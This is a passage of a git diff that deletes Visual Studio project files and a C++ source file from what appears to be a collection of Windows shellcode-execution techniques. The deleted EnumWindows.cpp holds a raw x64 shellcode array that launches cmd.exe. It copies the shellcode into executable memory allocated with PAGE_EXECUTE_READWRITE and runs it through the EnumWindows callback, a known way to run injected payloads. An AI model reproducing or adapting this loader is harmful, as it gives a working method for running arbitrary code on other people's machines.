Console - true - - - - - Level3 - true - true - true - WIN32;NDEBUG;_CONSOLE;%(PreprocessorDefinitions) - true - - - Console - true - true - true - - - - - Level3 - true - _DEBUG;_CONSOLE;%(PreprocessorDefinitions) - true - - - Console - true - - - - - Level3 - true - true - true - NDEBUG;_CONSOLE;%(PreprocessorDefinitions) - true - - - Console - true - true - true - - - - - - - - - \ No newline at end of file diff --git a/EnumResourceTypesW/EnumResourceTypesW.vcxproj.filters b/EnumResourceTypesW/EnumResourceTypesW.vcxproj.filters deleted file mode 100644 index 816c377..0000000 --- a/EnumResourceTypesW/EnumResourceTypesW.vcxproj.filters +++ /dev/null @@ -1,22 +0,0 @@ - - - - - {4FC737F1-C7A5-4376-A066-2A32D752A2FF} - cpp;c;cc;cxx;c++;cppm;ixx;def;odl;idl;hpj;bat;asm;asmx - - - {93995380-89BD-4b04-88EB-625FBE52EBFB} - h;hh;hpp;hxx;h++;hm;inl;inc;ipp;xsd - - - {67DA6AB6-F800-4c08-8B7A-83BB121AAD01} - rc;ico;cur;bmp;dlg;rc2;rct;bin;rgs;gif;jpg;jpeg;jpe;resx;tiff;tif;png;wav;mfcribbon-ms - - - - - Source Files - - - \ No newline at end of file diff --git a/EnumWindows/EnumWindows.cpp b/EnumWindows/EnumWindows.cpp deleted file mode 100644 index 3897c56..0000000 --- a/EnumWindows/EnumWindows.cpp +++ /dev/null @@ -1,49 +0,0 @@ -#include -#include - - - -int err(const char* errmsg) { - - - printf("Error: %s (%u)\n", errmsg, ::GetLastError()); - return 1; - -} - - -int main() -{ - - - - char shellcode[] = - "\xfc\x48\x83\xe4\xf0\xe8\xc0\x00\x00\x00\x41\x51\x41\x50\x52" - "\x51\x56\x48\x31\xd2\x65\x48\x8b\x52\x60\x48\x8b\x52\x18\x48" - "\x8b\x52\x20\x48\x8b\x72\x50\x48\x0f\xb7\x4a\x4a\x4d\x31\xc9" - "\x48\x31\xc0\xac\x3c\x61\x7c\x02\x2c\x20\x41\xc1\xc9\x0d\x41" - "\x01\xc1\xe2\xed\x52\x41\x51\x48\x8b\x52\x20\x8b\x42\x3c\x48" - "\x01\xd0\x8b\x80\x88\x00\x00\x00\x48\x85\xc0\x74\x67\x48\x01" - "\xd0\x50\x8b\x48\x18\x44\x8b\x40\x20\x49\x01\xd0\xe3\x56\x48" - "\xff\xc9\x41\x8b\x34\x88\x48\x01\xd6\x4d\x31\xc9\x48\x31\xc0" - "\xac\x41\xc1\xc9\x0d\x41\x01\xc1\x38\xe0\x75\xf1\x4c\x03\x4c" - "\x24\x08\x45\x39\xd1\x75\xd8\x58\x44\x8b\x40\x24\x49\x01\xd0" - "\x66\x41\x8b\x0c\x48\x44\x8b\x40\x1c\x49\x01\xd0\x41\x8b\x04" - "\x88\x48\x01\xd0\x41\x58\x41\x58\x5e\x59\x5a\x41\x58\x41\x59" - "\x41\x5a\x48\x83\xec\x20\x41\x52\xff\xe0\x58\x41\x59\x5a\x48" - "\x8b\x12\xe9\x57\xff\xff\xff\x5d\x48\xba\x01\x00\x00\x00\x00" - "\x00\x00\x00\x48\x8d\x8d\x01\x01\x00\x00\x41\xba\x31\x8b\x6f" - "\x87\xff\xd5\xbb\xe0\x1d\x2a\x0a\x41\xba\xa6\x95\xbd\x9d\xff" - "\xd5\x48\x83\xc4\x28\x3c\x06\x7c\x0a\x80\xfb\xe0\x75\x05\xbb" - "\x47\x13\x72\x6f\x6a\x00\x59\x41\x89\xda\xff\xd5\x63\x6d\x64" - "\x2e\x65\x78\x65\x00"; - - LPVOID buf = ::VirtualAlloc(NULL, sizeof(shellcode), MEM_COMMIT | MEM_RESERVE, PAGE_EXECUTE_READWRITE); - if (!buf) - return err("VirtualAlloc Failure"); - - ::RtlMoveMemory(buf, shellcode, sizeof(shellcode)); - - ::EnumWindows((WNDENUMPROC)buf, NULL); - -} \ No newline at end of file diff --git a/EnumWindows/EnumWindows.vcxproj b/EnumWindows/EnumWindows.vcxproj deleted file mode 100644 index e2f0013..0000000 --- a/EnumWindows/EnumWindows.vcxproj +++ /dev/null @@ -1,147 +0,0 @@ - - - - - Debug - Win32 - - - Release - Win32 - - - Debug - x64 - - - Release - x64 - - - - 16.0 - Win32Proj - {34e4f062-b47c-4d23-ab4b-8d624b97449a} - EnumWindows - 10.0 - - - - Application - true - v142 - Unicode - - - Application - false - v142 - true - Unicode - - - Application - true - v142 - Unicode - - - Application - false - v142 - true - Unicode - - - - - - - - - - - - - - - - - - - - - true - - - false - - - true - - - false - - - - Level3 - true - WIN32;_DEBUG;_CONSOLE;%(PreprocessorDefinitions) - true - - - Console - true - - - - - Level3 - true - true - true - WIN32;NDEBUG;_CONSOLE;%(PreprocessorDefinitions) - true - - - Console - true - true - true - - - - - Level3 - true - _DEBUG;_CONSOLE;%(PreprocessorDefinitions) - true - - - Console - true - - - - - Level3 - true - true - true - NDEBUG;_CONSOLE;%(PreprocessorDefinitions) - true - - - Console - true - true - true - - - - - - - - - \ No newline at end of file diff --git a/EnumWindows/EnumWindows.vcxproj.filters b/EnumWindows/EnumWindows.vcxproj.filters deleted file mode 100644 index 6d036eb..0000000 --- a/EnumWindows/EnumWindows.vcxproj.filters +++ /dev/null @@ -1,22 +0,0 @@ - - - - - {4FC737F1-C7A5-4376-A066-2A32D752A2FF} - cpp;c;cc;cxx;c++;cppm;ixx;def;odl;idl;hpj;bat;asm;asmx - - - {93995380-89BD-4b04-88EB-625FBE52EBFB} - h;hh;hpp;hxx;h++;hm;inl;inc;ipp;xsd - - - {67DA6AB6-F800-4c08-8B7A-83BB121AAD01} - rc;ico;cur;bmp;dlg;rc2;rct;bin;rgs;gif;jpg;jpeg;jpe;resx;tiff;tif;png;wav;mfcribbon-ms - - - - - Source Files - - - \ No newline at end of file